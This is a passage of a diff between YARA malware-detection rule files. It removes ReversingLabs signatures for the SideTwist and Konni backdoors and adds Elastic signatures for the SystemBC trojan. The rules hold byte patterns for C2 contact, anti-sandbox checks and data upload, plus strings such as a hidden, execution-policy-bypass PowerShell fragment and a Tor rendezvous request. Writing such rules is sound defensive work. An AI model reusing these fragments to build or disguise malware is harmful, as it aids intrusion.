-		modified = "2024-03-18"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/Win64.Backdoor.SideTwist.yara#L1-L154"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "811fa73ede59493c71435743848a3fce3a1604ec4065ffcb0b43e9715dfa5c31"
+		description = "Detects Windows Trojan Systembc (Windows.Trojan.SystemBC)"
+		author = "Elastic Security"
+		id = "5e883723-7eaa-4992-91de-abb0ffbba54e"
+		date = "2022-03-22"
+		modified = "2022-04-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SystemBC.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b432805eb6b2b58dd957481aa8a973be58915c26c04630ce395753c6a5196b14"
+		logic_hash = "fde2e0b5debd4d26838fb245fdf8e5103ab5aab9feff900cbba00c1950adc61a"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Backdoor"
-		tc_detection_name = "SideTwist"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "add95c1f4bb279c8b189c3d64a0c2602c73363ebfad56a4077119af148dd2d87"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "windows"
 
 	strings:
-		$anti_sandbox_detect_environment = {
-            55 57 56 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 89 4D ?? 48 89 55 ?? E8 ??
-            ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8D 55 ?? 48 8D 45 ?? 4C
-            8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 85 C0 75 ?? 48 8B 45 ?? 48 85
-            C0 74 ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 48 8D 45 ?? 48
-            89 C1 E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8D 4D ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 ?? ??
-            ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45
-            ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1
-            E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF
-            D0 85 C0 0F 94 C0 84 C0 74 ?? 48 8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF
-            D0 BB ?? ?? ?? ?? BE ?? ?? ?? ?? EB
-        }
-		$collect_host_information = {
-            55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? C7 45 ??
-            ?? ?? ?? ?? 8B 45 ?? 89 C0 48 BA ?? ?? ?? ?? ?? ?? ?? ?? 48 39 C2 72 ?? 48 01 C0 48
-            89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48
-            8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ??
-            48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 49 89 D0 48 89 C2 B9 ??
-            ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 85 C0 0F 95 C0 84 C0 0F 84 ?? ?? ?? ?? 48 8D 45
-            ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8B 55 ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8
-            ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ??
-            48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48
-            89 C2 48 8D 4D ?? 48 8D 45 ?? 49 89 C9 49 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ??
-            48 8D 55 ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ??
-            48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ??
-            48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8
-            ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 15 ??
-            ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 89
-            C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89
-            C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D
-            45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48
-            8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ??
-            48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 8B 45 ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3
-        }
-		$contact_c2_server = {
-            55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 48 8D 45
-            ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 8D 15 ?? ??
-            ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 50 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ??
-            ?? ?? 48 8B 55 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 4C 8D 45
-            ?? 48 8B 55 ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 4D ?? 48 89 4C 24 ?? 4D 89
-            C1 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ??
-            48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48
-            8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1
-            E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ??
-            ?? 48 8D 95 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 55 ??
-            48 8B 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? BB
-            ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 89 D8
-            EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89
-            C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ??
-            48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89
-            C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1
-            E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3
-        }
-		$parse_c2_response = {
-            55 53 48 83 EC ?? 48 8D 6C 24 ?? 48 89 4D ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48
-            8D 55 ?? 48 8D 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45
-            ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ??
-            ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8
-            ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C1 48 8B 55 ?? 48
-            8B 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B
-            55 ?? 48 01 C2 48 8B 45 ?? 49 89 D0 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45
-            ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89
-            D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48
-            89 C1 E8 ?? ?? ?? ?? 90 48 83 C4 ?? 5B 5D C3
-        }
-		$download_file_from_c2_p1 = {
-            55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 4C 89 45
-            ?? 4C 89 4D ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 5D ?? 48 8B 55 ??
-            48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ??
-            ?? 49 89 D0 48 89 C2 48 89 D9 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 88 45 ?? 48 8D 85 ?? ??
-            ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 0F B6 45 ?? 83 F0 ?? 84 C0 0F 84 ?? ?? ?? ?? 48 8D 85
-            ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ??
-            48 89 C2 48 8D 85 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF
-            D0 89 45 ?? 83 7D ?? ?? 0F 95 C0 84 C0 74 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48
-            8D 55 ?? 48 8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45
-            ?? 48 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ??
-            48 89 C1 E8 ?? ?? ?? ?? 48 89 C2 48 8B 45 ?? 49 89 D9 49 89 D0 BA ?? ?? ?? ?? 48 89
-            C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 8D 45 ?? 48
-        }
-		$download_file_from_c2_p2 = {
-            89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1
-            E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 8D 45 ?? 48 8B 55 ?? 49
-            89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05
-            ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 4D ?? 48 8D 55 ?? 49 89 C8 48
-            89 C1 E8 ?? ?? ?? ?? 90 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8
-            ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ??
-            ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ??
-            EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89
-            C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3
-            48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8B
-            45 ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3
-        }
-		$reply_to_c2_server = {
-            55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 4C 89 45
-            ?? 4C 89 4D ?? 48 8B 55 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ??
-            48 8B 55 ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8B 55 ?? 49 89
-            D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ??
-            ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 8D ?? ?? ?? ?? 48 8D 55 ?? 49 89
-            C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8
-            ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8
-            ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ??
-            48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB
-            ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1
-            E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48
-            8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81
-            C4 ?? ?? ?? ?? 5B 5D C3
-        }
+		$a1 = "GET /tor/rendezvous2/%s HTTP/1.0" ascii fullword
+		$a2 = "https://api.ipify.org/" ascii fullword
+		$a3 = "KEY-----" ascii fullword
+		$a4 = "Host: %s" ascii fullword
+		$a5 = "BEGINDATA" ascii fullword
+		$a6 = "-WindowStyle Hidden -ep bypass -file \"" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and ($anti_sandbox_detect_environment) and ($collect_host_information) and ($contact_c2_server) and ($parse_c2_response) and ( all of ($download_file_from_c2_p*)) and ($reply_to_c2_server)
+		all of them
 }
-rule REVERSINGLABS_Win64_Backdoor_Konni : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Windows_Trojan_Systembc_C1B58C2F : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Konni backdoor."
-		author = "ReversingLabs"
-		id = "c45c23c6-be15-58cc-ae4d-631bed4a3bb2"
-		date = "2023-12-07"
-		modified = "2023-12-07"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/Win64.Backdoor.Konni.yara#L1-L205"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "37c45e3ed23ca9f4de876f666c9f6d9bf7eee5cb1650b02cdd9f58e2ccc4b5cb"
+		description = "Detects Windows Trojan Systembc (Windows.Trojan.SystemBC)"
+		author = "Elastic Security"
+		id = "c1b58c2f-8bbf-4c03-9f53-13ab2fb081cc"
+		date = "2024-05-02"
+		modified = "2024-05-08"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SystemBC.yar#L26-L49"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "016fc1db90d9d18fe25ed380606346ef12b886e1db0d80fe58c22da23f6d677d"
+		logic_hash = "16ed14dac0c30500c5e91759b0a1b321f3bd53ae6aab1389a685582eba72c222"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Backdoor"
-		tc_detection_name = "Konni"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "dfbf98554e7fb8660e4eebd6ad2fadc394fc2a4168050390370ec358f6af1c1d"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "windows"
 
 	strings:
-		$network_communication_p1 = {
-            48 8B C4 53 55 57 41 54 41 55 41 56 41 57 48 83 EC ?? 48 8B 3D ?? ?? ?? ?? 45 33 FF
-            48 8B D9 4C 8D A7 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 49 8B CC 44 89 78 ?? 44 89 78
-            ?? 45 8B F7 44 89 78 ?? 41 8B EF E8 ?? ?? ?? ?? 4C 8D 8F ?? ?? ?? ?? 4C 8D 05 ?? ??
-            ?? ?? BA ?? ?? ?? ?? 49 8B CC 48 89 5C 24 ?? 48 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8D 9F
-            ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? 45 33 C9 45 33 C0 33 C9 41 8B
-            D5 44 89 7C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 89 44 24 ?? 48 85 C0 75 ?? 83 C8 ??
-            48 83 C4 ?? 41 5F 41 5E 41 5D 41 5C 5F 5D 5B C3 4C 89 7C 24 ?? 44 89 7C 24 ?? 41 B8
-            ?? ?? ?? ?? 45 33 C9 48 8B D3 48 8B C8 C7 44 24 ?? ?? ?? ?? ?? 48 89 B4 24 ?? ?? ??
-            ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48 85
-            C0 0F 84 ?? ?? ?? ?? 4C 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 45
-            33 C9 4D 8B C4 48 8B C8 4C 89 7C 24 ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 7C 24
-            ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? 45 33 C9 45 33 C0 33 D2 48 8B C8 44 89
-            7C 24 ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 48 8B CB 85 C0 74 ?? 48 8D 94 24 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 45 33 C9 48 8B CB 45 33 C0 33 D2 FF 15 ?? ?? ??
-            ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ??
-            41 8B C5 E9 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CB EB ?? FF C0 B9 ??
-            ?? ?? ?? 8B D0 89 84 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 74 ?? 44 8B
-        }
-		$network_communication_p2 = {
-            84 24 ?? ?? ?? ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 48 8D 0D ??
-            ?? ?? ?? 45 8D 41 ?? BA ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 4C 8B E8 48 8B CB 48 83 F8 ?? 75 ?? 45 33 C9 45 33 C0 33 D2 FF 15
-            ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ??
-            ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49
-            8B D4 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 1F 00 44 39 BC 24
-            ?? ?? ?? ?? 74 ?? 48 8D 15 ?? ?? ?? ?? 49 8B CC 41 8B EF E8 ?? ?? ?? ?? 48 85 C0 0F
-            45 EF 3B EF 74 ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49 8B D4 49 8B CD
-            4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 44 03 B4 24 ?? ?? ?? ?? 33
-            D2 49 8B CC E8 ?? ?? ?? ?? 44 8B 84 24 ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 49 8B D4
-            48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 7C 24 ?? 49 8B CD FF 15 ??
-            ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 33 D2 48 8B CB FF 15 ?? ?? ??
-            ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ??
-            83 C8 ?? 45 85 F6 0F 44 E8 8B C5 48 8B B4 24 ?? ?? ?? ?? 48 83 C4 ?? 41 5F 41 5E 41
-            5D 41 5C 5F 5D 5B C3
-        }
-		$handle_c2_commands_p1 = {
-            48 89 5C 24 ?? 48 89 74 24 ?? 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4
-            48 89 84 24 ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? 48 8D 54 24 ?? 33 FF 48 8B CE 89 7C 24
-            ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ??
-            ?? ?? 48 8B 08 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4B
-            ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
-            75 ?? 48 8B 4B ?? 8D 50 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 4C 24 ?? 33 D2 41 B8
-            ?? ?? ?? ?? 66 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ??
-            48 8B 15 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 53 ?? 48 8D 0D ??
-            ?? ?? ?? 45 33 C0 FF 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ??
-            ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? E8 ??
-            ?? ?? ?? 69 C0 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48
-            8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 69 C0 ?? ?? ?? ?? 89
-        }
-		$handle_c2_commands_p2 = {
-            05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 63 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C CB ?? E8
-            ?? ?? ?? ?? 48 8B CE 85 C0 75 ?? 8D 50 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 D2 E8 ??
-            ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 0B E8 ?? ?? ?? ?? 48 63 4C 24 ??
-            48 8B 15 ?? ?? ?? ?? 48 8B 4C CB ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 63 4C
-            24 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C CB ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 3B 48 83
-            C9 ?? 33 C0 66 F2 AF 33 D2 48 F7 D1 48 8D 0C 4E E8 ?? ?? ?? ?? EB ?? 48 8B 3B 48 83
-            C9 ?? 33 C0 66 F2 AF 8D 50 ?? 48 F7 D1 48 8D 0C 4E E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ??
-            ?? 85 C0 75 ?? 8D 48 ?? EB ?? 33 C9 E8 ?? ?? ?? ?? 8B F8 48 8B CB FF 15 ?? ?? ?? ??
-            8B C7 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B
-            5B ?? 49 8B 73 ?? 49 8B E3 5F C3
-        }
-		$create_cab_file_and_upload_p1 = {
-            48 89 5C 24 ?? 55 56 57 41 54 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48
-            8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 4C 8B 3D ?? ?? ?? ?? 33 DB 48 8B F1
-            48 8D 4D ?? 33 D2 41 B8 ?? ?? ?? ?? 44 8B E3 89 5C 24 ?? 89 5C 24 ?? 66 89 5D ?? E8
-            ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 9D ?? ?? 00 00 E8 ??
-            ?? ?? ?? 33 C0 48 8D 4C 24 ?? 66 89 5C 24 ?? 48 89 44 24 ?? 89 44 24 ?? 66 89 44 24
-            ?? FF 15 ?? ?? ?? ?? 0F B7 54 24 ?? 0F B7 4C 24 ?? 44 0F B7 44 24 ?? 0F B7 44 24 ??
-            0F B7 7C 24 ?? 89 54 24 ?? 89 44 24 ?? 89 4C 24 ?? 89 7C 24 ?? 44 89 44 24 ?? 4C 8D
-            05 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 48 8D 4D ?? 33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 55 ?? B9 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 4C 8D 4D ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? 45 33 C0 FF 15 ?? ?? ??
-            ?? 48 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 53 ?? 48 8B CE E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ??
-            ?? 48 8B C8 48 8B F8 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ??
-            ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D
